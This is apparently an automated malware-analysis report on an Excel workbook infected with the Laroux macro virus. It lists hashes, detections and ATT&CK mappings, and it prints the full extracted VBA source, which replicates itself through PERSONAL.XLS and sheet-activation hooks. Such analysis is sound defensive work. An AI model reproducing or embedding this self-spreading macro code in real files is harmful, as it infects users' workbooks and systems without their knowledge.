Xls.Trojan.Laroux-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 a95e1cbad657c431…

MALICIOUS

Office (OLE)

52.5 KB Created: 1999-02-19 01:21:40 Authoring application: Microsoft Excel First seen: 2019-08-04
MD5: 83c28ed2da25c274c9ebbedd8badc674 SHA-1: 2aa0db53688950de28d20102d8c58856c7baf197 SHA-256: a95e1cbad657c4312ffe75e4dd1cad7196fca9a0c75ea328292f3eab93d44d47
240 Risk Score

Malware Insights

Xls.Trojan.Laroux-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as the Laroux macro virus, a known Excel macro malware. It contains an Auto_Open macro that attempts to copy itself to the PERSONAL.XLS file, likely to achieve persistence. The macro is designed to execute a function named 'check_files' upon sheet activation, which is a common technique for this malware family to spread and potentially execute further malicious actions.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1900 bytes
SHA-256: c64ca112af2bc1f48d25c1ac9cfd5e5c937b982c9c46373518aae1d391d695d8
Detection
ClamAV: Xls.Trojan.Laroux-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"

Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub

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